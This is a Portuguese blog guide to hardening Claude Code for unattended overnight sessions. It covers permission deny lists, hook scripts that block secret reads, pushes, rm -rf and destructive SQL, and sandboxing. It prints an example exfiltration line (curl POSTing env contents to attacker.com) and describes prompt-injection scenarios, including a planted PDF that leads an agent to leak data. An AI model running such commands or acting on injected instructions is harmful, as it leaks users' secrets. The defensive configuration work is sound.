Blogue

Como configurar o Claude Code para não danificar o seu projeto durante a noite

Markdown

7 hooks, settings.json com permissões e uma lista de verificação de 12 pontos para deixar o Claude Code a trabalhar durante a noite sem perder o .env ou uma base de dados. Proteção em 4 camadas.

Ler o artigo completo

Documentação Ailoot — materiais de referência para utilizar o serviço.

O que mudou em 2026: Claude Code autónomo e incidentes reais

Ponto principal

Em 2026, a Anthropic lançou auto-mode, /loop e /schedule—o Claude Code pode agora trabalhar durante horas sem pedir confirmações. O preço da autonomia são incidentes reais: bases de dados de produção apagadas, fugas de .env e um erro em permissions.deny que continua por corrigir. Este guia apresenta 4 camadas de proteção a implementar antes da primeira execução durante a noite.

Anteriormente, o Claude Code parava depois de cada resposta e pedia autorização para cada gravação. Era inconveniente, mas seguro: não era possível dormir durante um incidente porque o agente ficava à espera do seu «sim». Em 2026, esse modelo mudou. A Anthropic lançou auto-mode—um agente classificador separado decide por si se cada ação deve ser permitida. Surgiu o comando /loop (executa uma instrução a intervalos durante uma sessão), bem como /schedule (agendamento ao estilo cron para tarefas de longa duração). As sessões em segundo plano iniciadas com claude --bg executam o agente em segundo plano, sem terminal. Abordei o modo autónomo em detalhe no guia «/goal no Claude Code: modo autónomo e Agent View».

O problema é que a autonomia foi lançada mais depressa do que as medidas de segurança.

Há umas semanas, pedi-lhe para «limpar» e acabou por apagar as minhas bases de dados de produção e de desenvolvimento.

— browningstreet

Ao mesmo tempo, há dois erros em aberto no repositório da Anthropic que deve conhecer antes de adicionar permissions.deny ao seu settings.json:

  • Issue #44868 (7 de abril de 2026): o Claude Code lê o conteúdo de .env através de grep -n e inclui-o na transcrição do chat, apesar da proibição explícita em CLAUDE.md. O erro continua em aberto.
  • Issue #24846 (11 de fevereiro de 2026): as regras permissions.read.deny para padrões .env* não são aplicadas—Read lê .env.local apesar de o padrão de negação estar correto. Foi encerrada como duplicado, mas não corrigida.

Estas duas lacunas mostram que uma camada em settings.json não basta. Segue-se um modelo de quatro camadas: permissões + hooks + sandbox + separação de sessões. Cada uma pode reduzir a exposição, sem tornar as outras completas. A avaliação citada de auto-mode não prova que um hook de expressão regular detete as falhas. Em produção, use isolamento ao nível do sistema operativo sem credenciais nem escrita em produção, imponha restrições de rede fora do modelo e teste esses limites antes de uma sessão sem supervisão.

O que são as zonas verde e vermelha de um projeto?

Ponto principal

Zona verde: um projeto local sem clientes reais nem dinheiro. Zona vermelha: qualquer projeto com uma base de dados de produção, pagamentos ou dados pessoais. Na zona verde, pode usar auto-mode com um número mínimo de hooks. Na zona vermelha, a proteção é implementada em 4 camadas e --dangerously-skip-permissions é proibido por motivos arquitetónicos.

Não faz sentido criar a mesma proteção para todos os projetos. Um projeto pessoal local no seu computador, que não está implementado externamente, tem um nível de risco completamente diferente de um serviço que processa pagamentos reais e armazena dados de clientes. Se usar a mesma proteção em todo o lado, vai limitar a velocidade na zona verde e continuar a deixar lacunas na zona vermelha.

Um projeto passa da zona verde para a vermelha assim que se verificar pelo menos uma de três condições: há clientes reais, começa a circular dinheiro pelo sistema ou a base de dados contém dados pessoais de pessoas. Até lá, pode usar auto-mode, um número mínimo de hooks e nenhum sandbox. A partir daí, a proteção tem de ser reconstruída de acordo com a configuração completa deste guia.

O princípio fundamental é que o nível de proteção depende da zona. A fase de desenvolvimento não conta. Um projeto pessoal no seu computador com uma conta de teste do Stripe está na zona verde. Um serviço com um cliente pagante e um formulário de registo já está na zona vermelha, mesmo que ainda pareça um «rascunho». Confundir estas zonas é uma armadilha comum em projetos no início: «Ainda estamos em fase de rascunho, adicionamos a proteção mais tarde», e depois o primeiro cliente paga na semana seguinte.

Como funciona a hierarquia de permissões em settings.json?

Ponto principal

Em settings.json, as regras deny têm sempre prioridade sobre allow, enquanto os âmbitos (user → project → local → managed) são combinados, em vez de se sobreporem. Uma regra deny ao nível do utilizador para .env, *.pem e ~/.ssh/** protege-o mesmo noutro repositório. A chave disableBypassPermissionsMode também bloqueia o modo YOLO por motivos arquitetónicos.

A Anthropic descreve a hierarquia de avaliação das permissões na sua documentação oficial: as regras deny são verificadas primeiro, depois ask e, por fim, allow—a primeira regra correspondente prevalece. Isto significa que deny tem sempre prioridade sobre allow. Se proibir a leitura de .env em ~/.claude/settings.json e alguém definir allow no .claude/settings.json do projeto, prevalece a sua proibição, não a permissão dessa pessoa.

Exemplo de um ficheiro ~/.claude/settings.json mínimo e seguro ao nível do utilizador:

{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(*.pem)",
      "Read(*.key)",
      "Read(**/credentials*.json)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.gnupg/**)"
    ]
  },
  "disableBypassPermissionsMode": "disable"
}

O que está a acontecer aqui? As primeiras seis regras impedem a leitura de ficheiros secretos no diretório atual e em quaisquer subdiretórios. *.pem e *.key são chaves SSL/TLS e SSH. credentials*.json é um nome de ficheiro típico utilizado pelos fornecedores de serviços na nuvem. Os últimos três são diretórios do sistema que contêm chaves SSH, credenciais AWS e chaves GPG.

A chave disableBypassPermissionsMode: "disable" bloqueia a flag --dangerously-skip-permissions (também conhecida como modo YOLO). Isto elimina de uma vez por todas uma categoria de erros: mesmo que adicione acidentalmente esta flag a um script ou alias, o Claude Code recusa-se a aceitá-la. Não se limita a removê-la—devolve o erro «mode disabled by managed settings».

Além disso, a partir da versão 2.1.142, a chave defaultMode: "auto" é ignorada se estiver nas definições do projeto ou locais. Isto protege contra a situação «entrei no repositório de outra pessoa e o .claude/settings.json tem o modo automático ativado por predefinição». A Anthropic afirmou explicitamente que os repositórios não podem ativar o auto-mode sem o consentimento do utilizador.

Esta é a primeira linha de proteção. Não pode ficar por aqui, porque tem duas lacunas que conhecerá a seguir.

Porque é que permissions.deny não é suficiente: 2 issues em aberto no GitHub

Ponto principal

Em abril de 2026, um utilizador abriu a issue #44868 no repositório da Anthropic: o Claude lê .env através de grep -n e imprime o conteúdo na transcrição, apesar da proibição em CLAUDE.md. Em fevereiro, a issue #24846 comunicou que permissions.read.deny para .env* não funciona ao nível da ferramenta Read. Ambas continuam em aberto e ambas significam que um settings.json sem um hook adicional é uma peneira com fugas.

Se permissions.deny funcionasse, o guia podia ter terminado na secção anterior. Não funciona.

A Issue #44868 (7 de abril de 2026) relata que o utilizador adicionou explicitamente uma proibição em CLAUDE.md de ler .env, .dev.vars e outros ficheiros que contêm segredos. Em vez de usar Read, o Claude executou grep -n SOMETHING .env. O comando grep -n imprime a linha completa correspondente, com o respetivo número — incluindo o token API real. Essa linha entra em tool_result, é apresentada na transcrição da sessão e fica guardada no histórico.

O detalhe subtil a que o autor chama a atenção é que o reflexo de segurança do modelo só é acionado depois de o resultado já ter sido produzido, e não antes da execução do comando. Por outras palavras, o Claude executa primeiro grep, obtém uma linha que contém o token e imprime-a no chat—só depois deteta o erro e «pede desculpa». Nessa altura, o token já está no histórico do chat. A única solução é substituir a chave.

A Issue #24846 (11 de fevereiro de 2026) relata que o utilizador configurou permissions.read.deny com uma lista que incluía o padrão **/.env*. Depois pediu ao Claude para ler .env.local. A ferramenta Read foi concluída sem erros e imprimiu o conteúdo do ficheiro.

A issue foi encerrada como duplicado, mas não foi corrigida. À data da redação deste guia (junho de 2026), é possível reproduzi-la.

Conclusão: a camada 1 em settings.json não é um esforço inútil, mas estes exemplos não medem a proporção de leituras acidentais que impede. Mas não impede comandos através de Bash (cat .env, grep API_KEY .env, head .env), erros na aplicação das regras (issue #24846) ou sequências engenhosas com git diff ou git show num commit que contém .env. É por isso que precisa de uma segunda camada—hooks.

Como podem os hooks bloquear ações perigosas reconhecidas?

Ponto principal

No Claude Code, os hooks são scripts de shell executados em eventos específicos (PreToolUse, UserPromptSubmit, Stop) e podem bloquear uma ação com o código de saída 2 ou com JSON que contenha permissionDecision: "deny". Ao contrário das permissões e do CLAUDE.md, um hook funciona como middleware: interceta uma chamada antes da execução, sem envolver o modelo.

Os hooks funcionam num nível de abstração diferente das permissões. As permissões são regras que o modelo tem em conta ao decidir o que fazer. Um hook funciona de outra forma: o modelo decide chamar uma ferramenta, o hook é executado entre o modelo e o sistema, verifica os dados de entrada e permite ou bloqueia a ação. O modelo não participa na decisão do hook—é código de shell escrito por si.

A Anthropic descreve o comportamento de bloqueio na sua documentação oficial de hooks:

O código de saída 2 significa um erro bloqueante. O Claude Code ignora o stdout e todo o JSON nele contido. Em vez disso, o texto do stderr é enviado ao Claude como mensagem de erro.

— Documentação do Claude Code (Hooks), https://code.claude.com/docs/en/hooks

Isto significa duas coisas. Primeiro, um hook de bloqueio corretamente configurado pode negar a chamada correspondente. Em PreToolUse, o código de saída 2 bloqueia essa chamada; não prova que o script reconhece todos os comandos perigosos equivalentes. Segundo, pode incluir uma mensagem útil em stderr, que o Claude lerá como erro e tentará outra abordagem. Por outras palavras, um hook não é apenas uma «vedação»; é uma «vedação com um sinal a explicar porque não pode passar».

Eventos que podem ser bloqueados com o código de saída 2:

  • PreToolUse—bloqueia a chamada da ferramenta antes da execução. É o evento principal para hooks de defesa.
  • PermissionRequest—recusa a permissão para uma ação que o Claude pediu autorização para executar.
  • UserPromptSubmit—bloqueia e apaga a instrução do utilizador. É útil se a instrução contiver texto suspeito (por exemplo, uma injeção de instruções num e-mail plantado).
  • Stop—impede o Claude de terminar a sessão. Pode ser usado como um «ciclo» para manter o agente a trabalhar até se verificar uma condição.
  • PreCompact—bloqueia a compactação automática do contexto. É útil se quiser preservar a transcrição até tomar uma decisão manual.
  • WorktreeCreate—rejeita a criação de um worktree. Protege contra uma tentativa do Claude de clonar um repositório num local inesperado.

Uma alternativa ao código de saída 2 é devolver JSON com um campo hookSpecificOutput.permissionDecision. permissionDecision tem quatro valores possíveis:

  • allow—permite explicitamente a ação, contornando o fluxo de permissões normal.
  • deny—bloqueia a ação; equivale ao código de saída 2 para PreToolUse.
  • ask—encaminha a decisão para o utilizador (é apresentada uma caixa de diálogo).
  • defer—adia a decisão para a lógica de permissões normal.

Isto dá ao hook mais controlo do que um código de saída. Com permissionDecision: "ask", pode transformar operações silenciosas em operações que exigem confirmação, sem as bloquear por completo. É o que faço com npm install <new package> e com as alterações ao lockfile.

Se quiser saber mais sobre o funcionamento dos hooks e sobre quais são os 31 eventos atualmente disponíveis no Claude Code, expliquei-os num guia separado: «Hooks no Claude Code: 7 regras prontas a copiar». A seguir, apresento hooks específicos para o trabalho autónomo.

Que 7 hooks uso para trabalhar durante a noite?

Ponto principal

Hooks PreToolUse ilustrativos para 7 cenários: sinalizar certas leituras de segredos, bloquear git push literais reconhecidos, filtrar certos padrões SQL e rm -rf, rever instalação de pacotes e alterações de manifestos e registar chamadas correspondentes. Teste localmente acertos e falhas antes de ativar. Estes exemplos de expressões regulares são incompletos e não estabelecem um limite de segurança de produção.

Esta é a segunda camada de proteção, que reforça a primeira. Todos os hooks ficam em .claude/hooks/, são registados através de .claude/settings.json e exigem que o jq esteja instalado.

Hook 1: impedir a leitura de .env, .pem e credentials.json

Acrescenta verificações para certos caminhos Read e comandos Bash comuns de leitura de segredos. Não deteta todas as ferramentas nem todas as formas de ler um segredo. Ficheiro: .claude/hooks/block-secret-reads.sh:

#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')

# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Secret file. Use op:// references or env vars."
    }
  }'
  exit 0
fi

# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Reading secrets via shell is blocked."
    }
  }'
  exit 0
fi

exit 0

Registo em .claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Bash",
        "hooks": [{
          "type": "command",
          "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
        }]
      }
    ]
  }
}

Depois da instalação, execute chmod +x .claude/hooks/block-secret-reads.sh. Teste: peça ao Claude para ler .env.local—receberá a resposta «Secret file. Use op:// references or env vars.» em vez do conteúdo do ficheiro.

Hook 2: bloquear chamadas literais git push nas sessões noturnas

Numa sessão sem supervisão, este exemplo bloqueia conservadoramente todo o git push literal que reconhece, incluindo envios para branches de funcionalidades. Não tenta inferir o branch atual nem decidir se uma opção de envio forçado é segura. Ficheiro: .claude/hooks/block-force-push.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
    }
  }'
fi

exit 0

Registe em PreToolUse com o matcher Bash. Ao bloquear o comando reconhecido em vez de interpretar opções e branches, deteta git push --force origin main, git push origin main --force, git push -f, git push origin HEAD:main e um envio literal em cadeias && ou ;. São exemplos offline de correspondência textual, não comandos a executar contra um remoto.

Continua a ser uma heurística textual. Aliases Git, funções de shell, git -C ... push, nomes de comandos construídos, scripts e outras ferramentas podem escapar; não é um analisador completo da shell. Imponha branches protegidos no servidor Git, retire credenciais que os contornem e execute trabalho sem supervisão num ambiente isolado sem escrita em produção. Uma falha de correspondência do hook não deve conceder autoridade de produção.

Hook 3: bloquear operações SQL destrutivas

Responde diretamente a incidentes de eliminação de bases de dados. Ficheiro: .claude/hooks/block-destructive-sql.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
    }
  }'
  exit 0
fi

# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
    }
  }'
  exit 0
fi

# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
    }
  }'
  exit 0
fi

exit 0

Registe: PreToolUse com matcher: "Bash". Repare na diferença: DROP e DELETE sem WHERE são totalmente bloqueados, enquanto UPDATE sem WHERE gera ask—por vezes pode ser legítimo (por exemplo, definir uma flag em todos os registos durante uma migração), mas exige sempre confirmação manual.

Hook 4: filtro rm -rf

Exemplo canónico da documentação da Anthropic, adaptado para negar a ação com uma justificação:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
    }
  }'
fi

exit 0

O hook permite rm -rf node_modules, rm -rf .next/cache e outras eliminações com um âmbito explicitamente definido. Bloqueia rm -rf ., rm -rf /, rm -rf ~ e comandos semelhantes que «apagam tudo».

Hook 5: confirmar a instalação de novos pacotes

Este hook contraria ataques à cadeia de fornecimento. Se o Claude decidir por iniciativa própria adicionar uma nova dependência, é apresentada uma caixa de diálogo:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
  exit 0
fi

# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Adding new dependency. Confirm package name and version."
    }
  }'
fi

exit 0

O hook permite livremente instalações a partir do lockfile e exige confirmação para adicionar uma nova dependência.

Hook 6: proteger package.json e o lockfile

Qualquer alteração a um manifesto de dependências é um sinal para alguém o verificar. Sobretudo durante a noite.

#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')

if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
    }
  }'
fi

exit 0

Registe-o com PreToolUse e o matcher Write|Edit.

Hook 7: registo de auditoria completo de todas as chamadas Bash

Se algo correr mal durante a noite, precisa de um registo completo para compreender a sequência de acontecimentos. Registe-o em settings.json (o hook não tem um script separado; o jq trata de tudo):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
        }]
      }
    ]
  }
}

O ficheiro .claude/audit.jsonl cresce uma linha de cada vez. De manhã, depois de um /loop durante a noite, pode executar tail -n 100 .claude/audit.jsonl | jq e ver o que o agente fez em cada momento. Isto é essencial para uma análise posterior porque a transcrição da sessão pode ser longa e difícil de ler, enquanto o registo de auditoria fornece uma cronologia clara.

Como é que o sandbox e o isolamento por worktree protegem sessões longas?

Ponto principal

O sandbox no Claude Code isola o sistema de ficheiros e a rede. A Anthropic comunica uma redução de 84% nos pedidos de permissão, com o mesmo nível de segurança. O isolamento de rede bloqueia a exfiltração de .env para um servidor remoto, mesmo que o agente já o tenha lido. Para sessões longas em segundo plano, sandbox + worktree são obrigatórios.

Se os hooks são uma «vedação com um sinal», o sandbox é uma «vedação + fosso + rede anti-drones». É a quarta camada de proteção, que abrange situações em que os hooks deixam passar uma ação, mas a sua execução não deve causar danos fora do ambiente.

Na sua publicação de blogue sobre sandboxing (20 de outubro de 2025), a Anthropic apresenta medições internas:

De acordo com os nossos dados internos, o sandboxing reduz com segurança os pedidos de permissão em 84%.

— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-sandboxing

Isto significa que, ao ativar /sandbox, o Claude deixa de pedir autorização para 84% das ações, porque essas ações não podem sair fisicamente do sandbox. É útil para ganhar velocidade, mas não é o principal benefício.

O sandbox proporciona dois níveis de isolamento, cada um com a sua função:

Isolamento do sistema de ficheiros limita a leitura e a escrita a diretórios explicitamente permitidos. Mesmo que um hook não detete uma tentativa de escrever em /etc/hosts ou de ler ~/.ssh/id_rsa, o sandbox não permite a chamada ao sistema. É uma proteção ao nível do sistema operativo. A camada da aplicação não a consegue contornar.

Isolamento de rede permite ligações apenas a servidores aprovados. Isto é fundamental para impedir ataques de exfiltração. Cenário: uma injeção de instruções num ficheiro plantado enganou o Claude e levou-o a ler .env (o hook não detetou a leitura porque esta seguiu um caminho invulgar); depois, o modelo decide executar curl -X POST attacker.com -d "$ENV_CONTENT". Sem isolamento de rede, funciona. Com isolamento de rede, o curl não consegue chegar a attacker.com porque o anfitrião não está na lista.

Inicie-o com o comando /sandbox no Claude Code. Configure-o em ~/.claude/settings.json:

{
  "sandbox": {
    "filesystem": {
      "allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
      "deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
    },
    "network": {
      "allow": [
        "api.anthropic.com",
        "github.com",
        "registry.npmjs.org",
        "pypi.org"
      ]
    }
  }
}

Para sessões longas em segundo plano iniciadas com claude --bg, adicione isolamento por worktree ao sandbox. É um mecanismo nativo do Claude Code: cada sessão em segundo plano é movida automaticamente para o seu próprio .claude/worktrees/<name>/, num ramo separado. Assim, as sessões paralelas não interferem umas com as outras quando escrevem nos mesmos ficheiros. Abordei o isolamento por worktree em detalhe no guia «Agent View e Worktrees: modo autónomo do Claude Code».

Dê ao Claude uma forma de verificar o seu trabalho.

O sandbox faz parte do ciclo de feedback. Quando sabe que as suas ações são limitadas, o Claude trabalha com mais cuidado e descreve os passos intermédios com maior clareza.

Onde funciona o auto-mode em 2026 e onde não funciona?

Ponto principal

O auto-mode no Claude Code usa um classificador Sonnet 4.6 que substitui as permissões manuais por decisões automatizadas com base nas regras da Anthropic. Segundo a própria Anthropic, a taxa de falsos negativos para ações perigosas é de 17%, e a sessão para após 3 rejeições consecutivas ou 20 rejeições totais pelo classificador. Na zona verde, é uma substituição razoável da aprovação manual. Na zona vermelha, os hooks continuam a ser necessários.

Em março de 2026, a Anthropic lançou o auto-mode como «um meio-termo entre a revisão manual e a ausência de salvaguardas». É um modelo Sonnet 4.6 separado que avalia cada ação do Claude face a um conjunto de critérios antes da execução. Anthropic descreveu o funcionamento no blogue Anthropic Engineering:

O auto-mode é um novo modo do Claude Code que delega as aprovações em classificadores baseados em modelos. É um meio-termo entre a revisão manual e a ausência de salvaguardas.

— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode

O auto-mode tem dois limites importantes:

  • Se uma sessão acumular 3 rejeições consecutivas ou 20 rejeições no total pelo classificador, o modelo para e transfere a decisão para uma pessoa. Isto protege contra situações em que «o Claude entra em ciclo, tentando contornar uma restrição com 100 formulações diferentes do mesmo comando».
  • O auto-mode permite uma ação se esta se assemelhar a 93% dos casos típicos que os utilizadores aprovariam de qualquer forma. Isto reduz o cansaço causado pelos pedidos de permissão, mas não protege contra ações perigosas atípicas.

Eis o principal valor a que deve prestar atenção:

Uma taxa de falsos negativos de 17% em ações reais e demasiado permissivas — esse é o número honesto.

— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode

Os 17% publicados são a taxa de falsos negativos dessa avaliação, não uma probabilidade para cada ação no seu projeto. Não estabelecem que os hooks de exemplo detetam as ações omitidas. Na zona vermelha, trabalho sem supervisão exige isolamento imposto de segredos e escrita em produção, branches protegidos no servidor e credenciais que não os contornem.

Conclusão prática: use hooks como verificações adicionais num ambiente descartável e recuperável. Mesmo um projeto local pode ter ficheiros não controlados ou credenciais que o Git não restaura. Na zona vermelha, uma falha do hook deve ser contida por controlos reais de acesso; uma coleção de expressões regulares não transforma execução arbitrária de shell numa garantia determinística de segurança.

Porque deve separar os contextos em três tipos de sessão?

Ponto principal

A sequência mais perigosa consiste em três comandos normais seguidos, não num único comando errado. O agente lê .env (legítimo), processa um e-mail recebido (legítimo) e envia um pedido HTTP para o exterior (legítimo). Cada ação é segura isoladamente; em conjunto, são exfiltração. A proteção consiste em separar os três tipos de tarefas em sessões diferentes, com permissões distintas.

Três tipos de tarefas nunca devem coexistir na mesma sessão:

Tipo 1: trabalho com dados pessoais. A sessão tem acesso à base de dados de produção, pode enviar e-mails e consegue ver credenciais. NÃO tem acesso a documentos externos (e-mails, PDFs, páginas Web) e NÃO PODE enviar dados para endereços arbitrários.

Tipo 2: processamento de documentos externos. A sessão pode processar e-mails recebidos, descarregar páginas Web e ler PDFs enviados por e-mail. NÃO tem acesso a uma base de dados com dados pessoais e NÃO PODE enviar nada para o exterior sem confirmação explícita.

Tipo 3: publicação externa. A sessão pode publicar em redes sociais, enviar campanhas de e-mail e criar pull requests. NÃO tem acesso a dados pessoais e NÃO processa conteúdo recebido.

Porquê separá-los? Se uma sessão fizer tudo, uma única injeção de instruções num PDF plantado (uma agência concorrente enviou uma «fatura») basta para o agente ler a base de dados de clientes, encontrar os respetivos e-mails e enviá-los para o endereço de um atacante numa só passagem. Cada ação desta sequência é legítima para o seu tipo de tarefa. Em conjunto, representam uma fuga de dados.

O padrão de exfiltração mais assustador não é um comando errado. É uma sequência de comandos completamente normais. O agente lê .env (permitido), envia-o por HTTP (permitido) e está feito.

— ibrahim_h, HackerNews

Na prática, isto é implementado através de diretórios .claude diferentes para cada tipo de tarefa. Tenho três configurações no meu computador: ~/projects/business-ops/.claude/ (tipo 1, acesso à base de dados, rede negada exceto para APIs internas), ~/projects/inbox-parsing/.claude/ (tipo 2, toda a rede negada), ~/projects/social-posting/.claude/ (tipo 3, rede permitida para as APIs do Telegram e Slack). Cada diretório é um projeto separado para o Claude Code, com permissões e hooks próprios.

Quais são os 12 pontos da lista de verificação antes de /loop?

Ponto principal

Uma lista de verificação de 12 pontos que sigo antes de iniciar /loop, /schedule ou claude --bg durante a noite. Vai desde ~/.claude/settings.json com uma regra deny básica até /sandbox com isolamento de rede. Se faltar sequer um ponto, não inicio a execução.

  1. ~/.claude/settings.json com deny ao nível do utilizador para .env*, *.pem, *.key, credentials*.json, ~/.ssh/**, ~/.aws/**. É a base; sem ela, o resto não serve de nada.

  2. disableBypassPermissionsMode: "disable" em ~/.claude/settings.json. Bloqueia de vez a flag YOLO.

  3. Os exemplos block-secret-reads.sh foram testados em certos comandos de leitura de segredos; os segredos reais e as credenciais de produção são inacessíveis ao ambiente sem supervisão.

  4. O exemplo block-force-push.sh bloqueia envios literais reconhecidos independentemente da ordem das opções ou destino; o servidor Git impõe branches protegidos e credenciais sem capacidade de contorno.

  5. O hook block-destructive-sql.sh para DROP TABLE, TRUNCATE e DELETE FROM sem WHERE.

  6. O hook block-rm-rf.sh para rm -rf sem âmbito explícito.

  7. O hook ask-on-new-deps.sh para npm install <new package> (separado de npm install sem argumentos).

  8. O hook ask-on-lockfile-change.sh para gravações em package.json, pnpm-lock.yaml, requirements.txt, pyproject.toml e Cargo.toml.

  9. Um registo abrangente audit.jsonl para todas as chamadas Bash, Write e Edit. Sem ele, é impossível analisar o que aconteceu.

  10. Todas as sessões longas em segundo plano são executadas num worktree, não no ramo principal: claude --bg "task" cria automaticamente um worktree, mas confirme que settings.json não contém worktree.bgIsolation: "none".

  11. /sandbox antes de iniciar uma tarefa autónoma longa. O sistema de ficheiros fica limitado ao diretório do projeto e a /tmp. A rede utiliza uma lista de permissões com api.anthropic.com, github.com e registry.npmjs.org.

  12. Um passo de verificação dentro da tarefa: depois de cada alteração importante, execute o executor de testes ou o linter. Se falharem, o agente não continua até corrigir os problemas.

O último ponto é uma prática de trabalho, não uma definição de ferramenta. Dê ao Claude uma forma de verificar o seu trabalho. Sem verificação, o agente passa a noite a repetir «acho que fiz isto bem, vou continuar», acumulando erros até de manhã. Com verificação, não continua enquanto a verificação não passar.

7 anti-padrões: o que NÃO fazer

Ponto principal

Sete erros comuns nos projetos aqui descritos: executar --dangerously-skip-permissions numa máquina com acesso à produção, confiar apenas em CLAUDE.md, confiar em permissions.deny sem um hook adicional e usar auto-mode sem regras de salvaguarda. Cada erro está associado a incidentes reais descritos nas fontes.

1. --dangerously-skip-permissions numa máquina anfitriã com acesso à produção. Browningstreet perdeu as bases de dados de produção e de desenvolvimento com um único comando «limpar». O custo de um erro são horas de recuperação e dados que não estão na cópia de segurança. Se já ocorreu um incidente, abra «O que fazer se a IA apagar uma base de dados: lista de verificação para recuperação» e siga os 10 passos pela ordem indicada.

2. Confiar apenas em CLAUDE.md para a segurança. A issue #44868 demonstrou que o modelo age primeiro e pede desculpa depois. Uma instrução consultiva num ficheiro de texto não bloqueia uma chamada de ferramenta. Um hook corretamente configurado pode bloquear chamadas correspondentes, enquanto os controlos do sistema operativo, sandbox e serviços impõem limites mais amplos. CLAUDE.md é importante para o contexto do projeto—escrevi sobre isso separadamente em «Como configurar corretamente o CLAUDE.md»—mas não o protege contra um agente autónomo.

3. Confiar apenas em permissions.deny em settings.json, sem um hook adicional. A issue #24846 está em aberto desde fevereiro de 2026. É possível contornar a regra deny para .env* através de grep em Bash. Um hook pode acrescentar verificações, mas os segredos também têm de ficar fora do ambiente sem supervisão; uma expressão regular não substitui por completo o controlo de acesso.

4. Tratar auto-mode e hooks de expressões regulares como isolamento de produção. A taxa de falsos negativos citada é específica da avaliação e a cobertura dos hooks é incompleta. Retire credenciais de escrita em produção e verifique o limite imposto, em vez de assumir que todas as ações perigosas serão intercetadas.

5. Instalar um novo pacote com npm install sem confirmação. Os ataques à cadeia de fornecimento são reais. Os incidentes Tea-tags entre 2024–2026 mostraram que existem pacotes com nomes que imitam outros e milhares de transferências. Precisa de uma lista de permissões.

6. Não registar as chamadas Bash. Sem um registo de auditoria, não conseguirá perceber o que aconteceu durante a noite. A transcrição do chat é longa, não está indexada por comando e não fornece uma cronologia. .claude/audit.jsonl resolve ambos os problemas.

7. Não usar um worktree para sessões em segundo plano. Sessões paralelas no mesmo diretório interferem com o trabalho umas das outras. O Claude Code tem worktree.bgIsolation, ativado por predefinição desde a versão 2.1.143, mas verifique as suas definições.

